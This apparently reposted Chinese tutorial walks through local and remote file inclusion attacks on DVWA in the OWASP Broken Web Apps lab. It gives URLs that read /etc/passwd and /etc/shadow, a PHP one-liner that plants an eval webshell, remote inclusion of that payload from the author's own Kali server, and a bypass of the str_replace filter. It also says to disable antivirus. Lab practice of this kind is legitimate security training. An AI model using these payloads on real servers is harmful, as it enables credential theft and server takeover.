文件包含渗透,当无法进行上传渗透时另一种黑客攻击
程序员文章站
2022-06-22 15:58:34
当上传是高安全模式时,我们大可不必非要用上传渗透实现对服务器的攻击,我们可以换一种方式。 1.实验环境 目标靶机:OWASP_Broken_Web_Apps_VM_1.2 "下载地址" 我们还需要 和`kali`这两个工具,把所有的杀毒软件关了,不然中国菜刀可能会被杀毒软件和谐。 实验原理及危害 2 ......
当上传是高安全模式时,我们大可不必非要用上传渗透实现对服务器的攻击,我们可以换一种方式。
1.实验环境
目标靶机:owasp_broken_web_apps_vm_1.2
我们还需要中国菜刀
和kali
这两个工具,把所有的杀毒软件关了,不然中国菜刀可能会被杀毒软件和谐。
实验原理及危害
文件包含漏洞:即file inclusion,意思是文件包含(漏洞),是指当服务器开启allow_url_include选项时,就可 以通过php的某些特性函数(include(),require()和include_once(),require_once())利用url去动态包含文 件,此时如果没有对文件来源进行严格审查,就会导致任意文件读取或者任意命令执行。文件包含漏洞分为本地文件包 含漏洞与远程文件包含漏洞,远程文件包含漏洞是因为开启了php配置中的allow_url_fopen选项(选项开启之后,服务 器允许包含一个远程的文件)。服务器通过php的特性(函数)去包含任意文件时,由于要包含的这个文件来源过滤不 严,从而可以去包含一个恶意文件,而我们可以构造这个恶意文件来达到自己的目的。 1. 文件包含(file inclusion)即程序通过[包含函数]调用本地或远程文件,以此来实现拓展功能 2. 被包含的文件可以是各种文件格式,而当文件里面包含恶意代码,则会形成远程命令执行或文件上传漏洞 3. 文件包含漏洞主要发生在有包含语句的环境中,例如php所具备include、require等包含函数 文件包含分为两类: 本地文件包含lfi(local file inclusion) 当被包含的文件在服务器本地时,就形成本地文件包含 远程文件包含rfi(remote file inclusion) 当被包含的文件在第三方服务器时,叫做远程文件包含
2.低安全级别渗透
首先我们需要用虚拟机打开目标靶机,并查看ip地址
root@owaspbwa:~# ip a 1: lo: <loopback,up,lower_up> mtu 16436 qdisc noqueue state unknown link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00 inet 127.0.0.1/8 scope host lo inet6 ::1/128 scope host valid_lft forever preferred_lft forever 2: eth0: <broadcast,multicast,up,lower_up> mtu 1500 qdisc pfifo_fast state unknown qlen 1000 link/ether 00:0c:29:b2:da:ea brd ff:ff:ff:ff:ff:ff inet 192.168.13.144/24 brd 192.168.13.255 scope global eth0 inet6 fe80::20c:29ff:feb2:daea/64 scope link valid_lft forever preferred_lft forever
找到ip后,我们打开网页访问192.168.13.144
1.本地文件包含
访问本地系统账号信息及其它敏感信息 http://192.168.13.144/dvwa/vulnerabilities/fi/?page=/etc/passwd http://192.168.13.144/dvwa/vulnerabilities/fi/?page=/etc/shadow http://192.168.13.144/dvwa/vulnerabilities/fi/?page=/etc/php5/apache2/php.ini http://192.168.13.144/dvwa/vulnerabilities/fi/?page=/etc/mysql/my.cnf http://192.168.13.144/dvwa/vulnerabilities/fi/?page=/etc/apache2/apache2.conf
这些都是正常的访问:
图片插入一句话工具
因为在上传高安全模式下,我们只能上传图片,所以我们可以利用图片来产生我们需要的小马文件。
1. 制作一句话图片木马 <?fputs(fopen("yjssjm.php","w"),'<?php eval($_post[yjssjm]);?>')?> #yjssjm.php 是我们生成的文件里面写着<?php eval($_post[yjssjm]);?> 3. 上传图片木马文件 4. 执行文件包含并生成后门 5. 通过菜刀连接webshell 提示: /var/www/dvwa/hackable/uploads #dvwa文件上传访问的目录 /var/www/dvwa/vulnerabilities/fi #dvwa文件包含访问的目录 yjssjm.php
这个时候我们的图片以及是带有木马的图片了。
出来这么一堆乱码,就是成功了。
我们可以去目标靶机owasp上看一下
地址写的时候,将fi后面的全部去掉,换成你生成的小马的文件名 http://192.168.13.144/dvwa/vulnerabilities/fi/yjssjm.php
2.远程文件包含
建立远程服务器,这里使用kali作为远程服务器,有条件的小伙伴可以使用云服务器。
原理特别简单,我们只需要在远程服务器上创建小马文件,使用远程文件包含,包含到我们这个文件就可以了。
打开kali,默认用户名是root,密码是toor
打开apache root@kali:~# service apache2 start root@kali:~# vim /var/www/html/yjssjm.txt #在网站目录下面创建文件 <?fputs(fopen("yjssjm1.php","w"),'<?php eval($_post[yjssjm]);?>')?>
访问一下发现apache已经成功启动
打开中国菜刀,同样的操作,这里是yjssjm1.php http://192.168.13.144/dvwa/vulnerabilities/fi/yjssjm1.php
同样能入侵服务器。
3.中安全级别的渗透
查看源码我们发现增加了远程文件包含的安全性
1.本地文件包含
因为源码只是增加了远程的安全性,所以我们用上面写的低安全性渗透的方法就可以实现了
2.远程文件包含
<?php $file = $_get['page']; // the page we wish to display // bad input validation $file = str_replace("http://", "", $file); $file = str_replace("https://", "", $file); ?> ============================================================== 我们仔细看一下这些代码,其实就是如果我匹配到了"http://" 这些字符,那么我就将其替换为空字符 同样如果我匹配到了"https://" 这些字符,那么我就将其替换为空字符 如果我们再去访问下面这个网址 http://192.168.13.144/dvwa/vulnerabilities/fi/?page=http://192.168.13.145/yjssjm.txt 当然是什么都访问不到,因为它默认把我们等号后面的那个"http://"去掉了,即 http://192.168.13.144/dvwa/vulnerabilities/fi/?page=192.168.13.145/yjssjm.txt 这样我们当然会失败,所以我们需要多加一个"http://" 而添加的方法不唯一,下面举个例子 http://192.168.13.144/dvwa/vulnerabilities/fi/?page=hthttp://tp://192.168.13.145/yjssjm.txt hthttp://tp:// - http:// = http://
只要执行成功,小马文件生成之后,下面的步骤就跟上面的一样了
转自:https://www.cnblogs.com/yjssjm/p/12672380.html